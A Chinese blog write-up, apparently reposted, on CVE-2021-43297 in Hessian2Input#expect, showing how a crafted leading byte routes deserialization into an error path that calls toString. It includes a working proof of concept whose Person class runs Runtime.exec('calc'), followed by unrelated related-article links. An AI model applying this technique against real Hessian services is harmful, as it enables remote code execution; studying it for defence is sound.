【Web】浅聊Hessian异常toString姿势学习复现

2024-03-20 15:04

本文主要是介绍【Web】浅聊Hessian异常toString姿势学习复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

前言

利用关键

调用分析

如何控制第一个字节

EXP


前言

Hessian CVE-2021-43297,本质是字符串和对象拼接导致隐式触发了该对象的 toString 方法,触发toString方法便可生万物,而后打法无穷也!

这个CVE针对的是Hessian2Input#expect,Hessian1则没有对应的问题。

利用关键

Hessian2Input 中的 expect 方法用于检查下一个输入字节是否符合期望的标记,并将当前位置移动到下一个字节。它的函数签名如下:

protected IOException expect(String expect, int ch)

参数解释:

  • expect 表示期望的内容,ch 表示当前读取到的字符

expect 方法的作用是检查下一个输入字节是否等于给定的 expect 值,如果相等,则向前移动输入流的位置;如果不相等,则抛出 IOException 异常或者其他相关异常。

该方法通常在 Hessian 反序列化过程中使用,用于检查预期的数据标记,以确保数据的有效性和完整性。

现在具体来看expect方法怎么写的

 protected IOException expect(String expect, int ch) throws IOException {if (ch < 0) {return this.error("expected " + expect + " at end of file");} else {--this._offset;try {int offset = this._offset;String context = this.buildDebugContext(this._buffer, 0, this._length, offset);Object obj = this.readObject();return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n  " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");} catch (Exception var6) {log.log(Level.FINE, var6.toString(), var6);return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));}}}

先 readObject 得到 obj, 然后直接将 obj 与字符串拼接, 从而触发 obj 的 toString 方法,目的达成

调用分析

从设计的角度,除 readObject 以外的其它 readXX 方法大都会调用 expect

这些 readXX 方法通常用于读取特定类型的数据或执行特定的读取操作,如:

  1. readInt 方法:用于读取整数数据。
  2. readString 方法:用于读取字符串数据。
  3. readFloat 方法:用于读取浮点数数据。
  4. readChar 方法:用于读取单个字符数据。
  5. readLine 方法:用于读取一行文本数据。

这里师傅们用的是readString来触发expect,俺也来致敬经典😄

public String readString() throws IOException {int tag = this.read();int ch;switch (tag) {case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:case 8:case 9:case 10:case 11:case 12:case 13:case 14:case 15:case 16:case 17:case 18:case 19:case 20:case 21:case 22:case 23:case 24:case 25:case 26:case 27:case 28:case 29:case 30:case 31:this._isLastChunk = true;this._chunkLength = tag - 0;this._sbuf.setLength(0);while((ch = this.parseChar()) >= 0) {this._sbuf.append((char)ch);}return this._sbuf.toString();case 32:case 33:case 34:case 35:case 36:case 37:case 38:case 39:case 40:case 41:case 42:case 43:case 44:case 45:case 46:case 47:case 52:case 53:case 54:case 55:case 64:case 65:case 66:case 67:case 69:case 71:case 72:case 74:case 75:case 77:case 79:case 80:case 81:case 85:case 86:case 87:case 88:case 90:case 96:case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:case 123:case 124:case 125:case 126:case 127:default:throw this.expect("string", tag);......}}

 现在问题就是怎么完成下列调用

readObject->readString->expect

Hessian反序列化时,会根据输入流来判断类型,首先读取输入流的一个字节,根据这个标记字节(tag)来决定反序列化的类型,而这第一个字节是我们可控的(暂时不讲怎么操作)

当tag为67时,会调用readObjectDefinition

跟进,接着调用readString

最后进到default->expect

 

 

hessian 在读入的时候是按一个个 byte 来读的,在 readObject 里面第一次调用的 this.read() 读取的是序列化后的 byte 数组里的第一个值, 所以只要在 原byte 数组的前面再拼一个 67 就行了

因为写入的 object 本来就不是 String 类型的,所以readString 里面读的第二个 tag 其实也不用考虑,最后肯定会进到default

如何控制第一个字节

System.arraycopy 是一个 Java 中用于复制数组元素的方法

public static void arraycopy(Object src, int srcPos, Object dest, int destPos, int length)

参数解释如下:

  • src:源数组,即要复制数据的原始数组。
  • srcPos:源数组的起始位置,从该位置开始复制数据。
  • dest:目标数组,即将数据复制到的目标数组。
  • destPos:目标数组的起始位置,从该位置开始粘贴数据。
  • length:要复制的元素数量,即要复制的数据长度。

EXP

先导pom依赖

<dependencies><dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.63</version></dependency></dependencies>

EXP.java

package org.Hessian;import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;public class EXP {public static byte[] Hessian2_Serial(Object o) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output hessian2Output = new Hessian2Output(baos);hessian2Output.writeObject(o);hessian2Output.flushBuffer();return baos.toByteArray();}public static Object Hessian2_Deserial(byte[] bytes) throws IOException {ByteArrayInputStream bais = new ByteArrayInputStream(bytes);Hessian2Input hessian2Input = new Hessian2Input(bais);Object o = hessian2Input.readObject();return o;}public static void main(String[] args) throws Exception {Person person = new Person();person.setName("Hessian异常toString成功捏o(=•ェ•=)m");byte[] data = Hessian2_Serial(person);byte[] poc = new byte[data.length + 1];System.arraycopy(new byte[]{67}, 0, poc, 0, 1);System.arraycopy(data, 0, poc, 1, data.length);Hessian2_Deserial(poc);}
}

Person.java

package org.Hessian;import java.io.IOException;
import java.io.Serializable;public class Person implements Serializable {String name;public void setName(String name) {this.name = name;}@Overridepublic String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return this.name;}
}

成功弹出计算器

 

这篇关于【Web】浅聊Hessian异常toString姿势学习复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/829844

相关文章

Java对异常的认识与异常的处理小结

《Java对异常的认识与异常的处理小结》Java程序在运行时可能出现的错误或非正常情况称为异常,下面给大家介绍Java对异常的认识与异常的处理,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参... 目录一、认识异常与异常类型。二、异常的处理三、总结 一、认识异常与异常类型。(1)简单定义-什么是

Python主动抛出异常的各种用法和场景分析

《Python主动抛出异常的各种用法和场景分析》在Python中,我们不仅可以捕获和处理异常,还可以主动抛出异常,也就是以类的方式自定义错误的类型和提示信息,这在编程中非常有用,下面我将详细解释主动抛... 目录一、为什么要主动抛出异常?二、基本语法:raise关键字基本示例三、raise的多种用法1. 抛

Go学习记录之runtime包深入解析

《Go学习记录之runtime包深入解析》Go语言runtime包管理运行时环境,涵盖goroutine调度、内存分配、垃圾回收、类型信息等核心功能,:本文主要介绍Go学习记录之runtime包的... 目录前言:一、runtime包内容学习1、作用:① Goroutine和并发控制:② 垃圾回收:③ 栈和

Android学习总结之Java和kotlin区别超详细分析

《Android学习总结之Java和kotlin区别超详细分析》Java和Kotlin都是用于Android开发的编程语言,它们各自具有独特的特点和优势,:本文主要介绍Android学习总结之Ja... 目录一、空安全机制真题 1:Kotlin 如何解决 Java 的 NullPointerExceptio

Java空指针异常NullPointerException的原因与解决方案

《Java空指针异常NullPointerException的原因与解决方案》在Java开发中,NullPointerException(空指针异常)是最常见的运行时异常之一,通常发生在程序尝试访问或... 目录一、空指针异常产生的原因1. 变量未初始化2. 对象引用被显式置为null3. 方法返回null

python web 开发之Flask中间件与请求处理钩子的最佳实践

《pythonweb开发之Flask中间件与请求处理钩子的最佳实践》Flask作为轻量级Web框架,提供了灵活的请求处理机制,中间件和请求钩子允许开发者在请求处理的不同阶段插入自定义逻辑,实现诸如... 目录Flask中间件与请求处理钩子完全指南1. 引言2. 请求处理生命周期概述3. 请求钩子详解3.1

SpringBoot项目Web拦截器使用的多种方式

《SpringBoot项目Web拦截器使用的多种方式》在SpringBoot应用中,Web拦截器(Interceptor)是一种用于在请求处理的不同阶段执行自定义逻辑的机制,下面给大家介绍Sprin... 目录一、实现 HandlerInterceptor 接口1、创建HandlerInterceptor实

redis在spring boot中异常退出的问题解决方案

《redis在springboot中异常退出的问题解决方案》:本文主要介绍redis在springboot中异常退出的问题解决方案,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴... 目录问题:解决 问题根源️ 解决方案1. 异步处理 + 提前ACK(关键步骤)2. 调整Redis消费者组

springboot项目redis缓存异常实战案例详解(提供解决方案)

《springboot项目redis缓存异常实战案例详解(提供解决方案)》redis基本上是高并发场景上会用到的一个高性能的key-value数据库,属于nosql类型,一般用作于缓存,一般是结合数据... 目录缓存异常实践案例缓存穿透问题缓存击穿问题(其中也解决了穿透问题)完整代码缓存异常实践案例Red

Web技术与Nginx网站环境部署教程

《Web技术与Nginx网站环境部署教程》:本文主要介绍Web技术与Nginx网站环境部署教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、Web基础1.域名系统DNS2.Hosts文件3.DNS4.域名注册二.网页与html1.网页概述2.HTML概述3.